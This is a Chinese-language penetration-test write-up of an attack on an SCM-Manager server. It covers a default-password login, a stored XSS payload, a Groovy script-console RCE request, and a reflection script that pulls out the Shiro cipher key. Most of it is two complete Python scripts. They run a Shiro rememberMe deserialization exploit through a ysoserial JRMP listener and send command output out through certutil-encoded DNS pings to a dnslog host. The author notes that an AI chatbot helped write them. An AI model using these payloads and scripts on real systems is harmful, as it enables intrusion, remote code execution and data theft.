前文

shiro反序列化失败,然后没思路,就想着不死磕shiro了,从别的思路先来

弱口令

是个scm-manager系统,经典弱口令:scmadmin:scmadmin

存储型xss

http://ip/scm/#repositoryPanel

1
<img src=x onerror=console.log(123)>

水报告,想着多弄一个,添加代码库那边测的

后台rce

脚本控制台直接一把梭了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /scm/api/rest/plugins/script HTTP/1.1
Host:
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: /scm/index.html
Cookie: JSESSIONID=49yf5siplceo124fte79hvufj
X-SCM-Client: WUI
Content-Type: application/x-groovy
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin:
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 68

def cmd = ["cmd", "/c", "whoami"].execute()
cmd.waitFor()
throw new Exception(cmd.in.text)


到这里我就开始想看看shiro失败到底啥原因了,java版本问题还是依赖问题啥的,然后就执行个探测的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def out = new StringBuilder()
out.append("============= 基础环境 =============\n")
out.append("OS: " + System.getProperty("os.name") + "\n")
out.append("User: " + System.getProperty("user.name") + "\n")
out.append("Java: " + System.getProperty("java.version") + "\n")

out.append("\n============= 依赖库探测 =============\n")
def checks = [
"Commons-Collections 3": "org.apache.commons.collections.functors.InvokerTransformer",
"Commons-Collections 4": "org.apache.commons.collections4.functors.InvokerTransformer",
"Commons-Beanutils": "org.apache.commons.beanutils.BeanComparator",
"Shiro Core": "org.apache.shiro.SecurityUtils"
]

checks.each { name, clsName ->
try {
def cls = Class.forName(clsName)
def loc = cls.getProtectionDomain().getCodeSource().getLocation().toString()
out.append("[+] FOUND ${name}: ${loc}\n")
} catch (Throwable e) {
out.append("[-] MISSING ${name}\n")
}
}

out.append("\n============= Shiro Key 探测 =============\n")
try {
// 尝试从内存中获取当前 SecurityManager
def sm = org.apache.shiro.SecurityUtils.getSecurityManager()
if (sm != null) {
out.append("SecurityManager: " + sm.getClass().getName() + "\n")
try {
// 反射获取 RememberMeManager
def rmm = sm.getRememberMeManager()
out.append("RememberMeManager: " + rmm.getClass().getName() + "\n")

// 反射获取 Key (decryptionCipherKey 定义在 AbstractRememberMeManager 中)
def field = rmm.getClass().getSuperclass().getDeclaredField("decryptionCipherKey")
field.setAccessible(true)
def key = field.get(rmm)

if (key != null) {
out.append(">>> KEY FOUND: " + org.apache.shiro.codec.Base64.encodeToString(key) + "\n")
} else {
out.append("Key is null (可能未配置或默认)\n")
}
} catch (Throwable ex) {
out.append("反射获取 Key 失败: " + ex.toString() + "\n")
}
} else {
out.append("无法通过 SecurityUtils 获取 SecurityManager (可能当前线程未绑定)\n")
}
} catch (Throwable e) {
out.append("Key 探测异常: " + e.toString() + "\n")
}

throw new Exception(out.toString())

平平无奇可以说是,没啥限制啊

之后就是拷打ai说,可以是对于payload长度有限制,要用jrmp绕过,但是直接用ysoserial会失败是因为,当 ysoserial 生成 Payload 时,它使用Runtime.getRuntime().exec(String command)来执行命令。 问题在于 :Java 的Runtime.exec(String)会根据空格简单粗暴地把命令切分成数组,所以之前考虑过是命令错了的问题,但是换了依旧失败
ai是这么说,你的命令会被切成:

  1. cmd (程序)
  2. /c (参数1)
  3. for (参数2)
  4. /f (参数3)
  5. %i (参数4)
  6. in (参数5)
  7. (‘whoami’) (参数6)

    在 Windows 的 cmd 中, for 是一个 内部关键字 ,不是一个可执行程序(如 ping.exe )。
    当 cmd /c 后面的一长串被 Java 切碎后传给系统 API 时,Windows 往往无法正确理解这是一个完整的语句,尤其是包含 for 循环、单引号、括号这种复杂结构时,经常会因为参数解析错误而执行失败。

PS:当然最主要原因是系统命令错了

shiro反序列化成功

直接yso打

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping test.a1e6uw.dnslog.cn"


然后shiroexp里面连接一下

收到记录,但是外带数据比较难了,复杂命令会失败

然后就下来就是拷打ai写脚本,实现传递给 ysoserial 的参数是一个完整的字符串(实际是不知道失败原因的时候就拷打了,好在是打成功了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import subprocess
import base64
import os
import time
import threading
from Crypto.Cipher import AES

import sys
import argparse

# 配置默认值
DEFAULT_IP = "127.0.0.1"
PORT = 9999
DNSLOG = "mzuckrlxyd.yutu.eu.org"

# 构造 Windows CMD + Certutil Base64 外带 Payload (不依赖 PowerShell)
def get_whoami_certutil_cmd(dnslog):
# 原理:
# 1. whoami > x.txt : 结果写入临时文件
# 2. certutil -encode x.txt x.b64 : 使用内置工具进行 Base64 编码
# 3. for /f "skip=1" : 读取 Base64 文件,skip=1 跳过第一行 "-----BEGIN CERTIFICATE-----"
# 4. ping %i.dnslog : 将每一行 Base64 内容作为子域名发送
# 注意:
# - Certutil 输出会自动换行,所以可能会收到多个 DNS 请求,需要拼接
# - 最后会多发一个 "-----END" 的请求,忽略即可
# - 这种方式比 PowerShell 更隐蔽,但需要写文件权限

# 为了防止文件名冲突,使用随机文件名或简短文件名
temp_file = "w"

# 组合命令
# 这里的命令比较长,Runtime.exec 可能需要 cmd /c 来解析管道和重定向
# 注意:在 Python f-string 中,不需要转义 %,但在 cmd 脚本中需要。这里是直接传给 subprocess,应该没事。
cmd = f"cmd /c whoami > {temp_file}.t & certutil -encode {temp_file}.t {temp_file}.b & for /f \"skip=1\" %i in ({temp_file}.b) do ping -n 1 %i.{dnslog}"

return cmd

CMD = get_whoami_certutil_cmd(DNSLOG)

KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

def parse_args():
parser = argparse.ArgumentParser(description='Shiro JRMP Attack Script')
parser.add_argument('-i', '--ip', default=DEFAULT_IP, help='Attacker IP (LHOST) - 攻击机IP,VPS请填公网IP')
parser.add_argument('-p', '--port', default=PORT, type=int, help='Attacker Port (LPORT) - 监听端口')
parser.add_argument('-c', '--cmd', default=CMD, help='Command to execute - 要执行的命令')
parser.add_argument('--listener-only', action='store_true', help='Only start listener (no cookie generation)')
return parser.parse_args()

def start_listener(ip, port, command):
print(f"[*] [Listener] 正在启动 JRMP 监听器 ({ip}:{port})...")
print(f"[*] [Listener] 托管 Payload: CommonsBeanutils1 -> {command}")
# 启动 ysoserial 的 JRMPListener
cmd = [
"java", "-cp", "ysoserial-all.jar",
"ysoserial.exploit.JRMPListener",
str(port),
"CommonsBeanutils1",
command
]
# 这种方式启动子进程,脚本结束后它可能会被杀掉,所以脚本需要保持运行
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# 读取一行输出确认启动
print("[*] [Listener] 服务已启动,等待连接...")
proc.wait()
except Exception as e:
print(f"[-] [Listener] 启动失败: {e}")

def aes_encrypt(payload):
iv = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
pad_len = 16 - (len(payload) % 16)
payload += bytes([pad_len] * pad_len)
encrypted = cipher.encrypt(payload)
return base64.b64encode(iv + encrypted).decode()

def generate_cookie(ip, port):
print(f"[*] [Client] 正在生成引导 Payload (JRMPClient -> {ip}:{port})...")

# 生成 JRMPClient payload
# 注意:这里生成的 payload 会让服务器反连我们的 LOCAL_IP:PORT
cmd = [
"java", "-jar", "ysoserial-all.jar",
"JRMPClient",
f"{ip}:{port}"
]
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
raw_payload, err = proc.communicate()
if proc.returncode != 0:
print(f"[-] 生成失败: {err}")
return None

print(f"[*] [Client] 原始 Payload 大小: {len(raw_payload)} bytes (非常小!)")

# 加密
cookie = aes_encrypt(raw_payload)
return cookie
except Exception as e:
print(f"[-] 错误: {e}")
return None

if __name__ == "__main__":
args = parse_args()

# 1. 启动监听器
# 如果指定了 --listener-only,就在主线程运行,否则在子线程运行
if args.listener_only:
start_listener(args.ip, args.port, args.cmd)
else:
t = threading.Thread(target=start_listener, args=(args.ip, args.port, args.cmd))
t.daemon = True
t.start()

# 给一点时间让 Java 启动
time.sleep(2)

# 2. 生成 Cookie
cookie = generate_cookie(args.ip, args.port)

if cookie:
print("\n" + "="*60)
print("攻击准备就绪!")
print("请复制下面的 Cookie 值,并在浏览器/BurpSuite 中发送给目标:")
print("="*60)
print(f"rememberMe={cookie}")
print("="*60)
print(f"\n[*] 保持脚本运行中,等待目标连接 (按 Ctrl+C 停止)...")
print(f"[*] 如果目标连接成功,你应该会在 DNSLog ({DNSLOG}) 看到记录")

try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 停止服务")


后续尝试用yso反弹shell失败,然后用脚本尝试,改进了一下,探测powershell环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import subprocess
import base64
import os
import time
import threading
from Crypto.Cipher import AES

import sys
import argparse

# 配置默认值
DEFAULT_IP = "127.0.0.1"
PORT = 9999
DNSLOG = "mzuckrlxyd.yutu.eu.org"

# 构造 Windows CMD + Certutil Base64 外带 Payload (不依赖 PowerShell)
def get_whoami_certutil_cmd(dnslog):
# 原理:
# 1. whoami > x.txt : 结果写入临时文件
# 2. certutil -encode x.txt x.b64 : 使用内置工具进行 Base64 编码
# 3. for /f "skip=1" : 读取 Base64 文件,skip=1 跳过第一行 "-----BEGIN CERTIFICATE-----"
# 4. ping %i.dnslog : 将每一行 Base64 内容作为子域名发送
# 注意:
# - Certutil 输出会自动换行,所以可能会收到多个 DNS 请求,需要拼接
# - 最后会多发一个 "-----END" 的请求,忽略即可
# - 这种方式比 PowerShell 更隐蔽,但需要写文件权限

# 为了防止文件名冲突,使用随机文件名或简短文件名
temp_file = "w"

# 组合命令
# 这里的命令比较长,Runtime.exec 可能需要 cmd /c 来解析管道和重定向
# 注意:在 Python f-string 中,不需要转义 %,但在 cmd 脚本中需要。这里是直接传给 subprocess,应该没事。
cmd = f"cmd /c whoami > {temp_file}.t & certutil -encode {temp_file}.t {temp_file}.b & for /f \"skip=1\" %i in ({temp_file}.b) do ping -n 1 %i.{dnslog}"

return cmd

CMD = get_whoami_certutil_cmd(DNSLOG)

KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

def parse_args():
parser = argparse.ArgumentParser(description='Shiro JRMP Attack Script')
parser.add_argument('-i', '--ip', default=DEFAULT_IP, help='Attacker IP (LHOST) - 攻击机IP,VPS请填公网IP')
parser.add_argument('-p', '--port', default=PORT, type=int, help='Attacker Port (LPORT) - 监听端口')
parser.add_argument('-c', '--cmd', default=CMD, help='Command to execute - 要执行的命令')
parser.add_argument('--check', action='store_true', help='Check for PowerShell availability - 探测PowerShell环境')
parser.add_argument('--listener-only', action='store_true', help='Only start listener (no cookie generation)')
return parser.parse_args()

def get_check_payload(dnslog):
# 探测 PowerShell 是否可用
# 尝试调用 PowerShell 执行 ping
# 如果 DNSLog 收到 ps-exist 请求,说明 PowerShell 可用
return f"cmd /c powershell -c \"ping -n 1 ps-exist.{dnslog}\""

def start_listener(ip, port, command):
print(f"[*] [Listener] 正在启动 JRMP 监听器 ({ip}:{port})...")
print(f"[*] [Listener] 托管 Payload: CommonsBeanutils1 -> {command}")
# 启动 ysoserial 的 JRMPListener
cmd = [
"java", "-cp", "ysoserial-all.jar",
"ysoserial.exploit.JRMPListener",
str(port),
"CommonsBeanutils1",
command
]
# 这种方式启动子进程,脚本结束后它可能会被杀掉,所以脚本需要保持运行
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# 读取一行输出确认启动
print("[*] [Listener] 服务已启动,等待连接...")
proc.wait()
except Exception as e:
print(f"[-] [Listener] 启动失败: {e}")

def aes_encrypt(payload):
iv = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
pad_len = 16 - (len(payload) % 16)
payload += bytes([pad_len] * pad_len)
encrypted = cipher.encrypt(payload)
return base64.b64encode(iv + encrypted).decode()

def generate_cookie(ip, port):
print(f"[*] [Client] 正在生成引导 Payload (JRMPClient -> {ip}:{port})...")

# 生成 JRMPClient payload
# 注意:这里生成的 payload 会让服务器反连我们的 LOCAL_IP:PORT
cmd = [
"java", "-jar", "ysoserial-all.jar",
"JRMPClient",
f"{ip}:{port}"
]
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
raw_payload, err = proc.communicate()
if proc.returncode != 0:
print(f"[-] 生成失败: {err}")
return None

print(f"[*] [Client] 原始 Payload 大小: {len(raw_payload)} bytes (非常小!)")

# 加密
cookie = aes_encrypt(raw_payload)
return cookie
except Exception as e:
print(f"[-] 错误: {e}")
return None

if __name__ == "__main__":
args = parse_args()

# 处理 --check 参数
if args.check:
print(f"[*] 模式: 探测 PowerShell 环境")
args.cmd = get_check_payload(DNSLOG)
print(f"[*] Payload: {args.cmd}")

# 1. 启动监听器
# 如果指定了 --listener-only,就在主线程运行,否则在子线程运行
if args.listener_only:
start_listener(args.ip, args.port, args.cmd)
else:
t = threading.Thread(target=start_listener, args=(args.ip, args.port, args.cmd))
t.daemon = True
t.start()

# 给一点时间让 Java 启动
time.sleep(2)

# 2. 生成 Cookie
cookie = generate_cookie(args.ip, args.port)

if cookie:
print("\n" + "="*60)
print("攻击准备就绪!")
print("请复制下面的 Cookie 值,并在浏览器/BurpSuite 中发送给目标:")
print("="*60)
print(f"rememberMe={cookie}")
print("="*60)
print(f"\n[*] 保持脚本运行中,等待目标连接 (按 Ctrl+C 停止)...")
print(f"[*] 如果目标连接成功,你应该会在 DNSLog ({DNSLOG}) 看到记录")

try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 停止服务")

显示存在

继续改脚本用powershell反弹shell,依旧失败,不懂是不是被拦了,先尝试任意命令外带